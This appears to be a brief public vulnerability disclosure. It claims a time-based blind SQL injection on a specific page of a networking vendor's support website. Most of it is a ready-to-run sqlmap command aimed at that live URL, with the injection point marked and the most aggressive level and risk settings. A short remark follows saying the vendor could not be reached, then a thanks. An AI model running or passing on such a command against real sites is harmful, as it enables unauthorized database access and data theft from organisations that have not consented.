Url : http://www.netis-systems.com/Suppory/de_details/id/1/de/138.html
Vulnerability : Time-based blind sql injection.
Payload : sqlmap -u "http://www.netis-systems.com/Suppory/de_details/id/1/de/138*.html" --level=5 --risk=3 --random-agent
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Sorry for it guys. I tried to contact you over and over again, but I couldn't. You should fix your mailbox.
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Special thanks to : İbrahim Şeker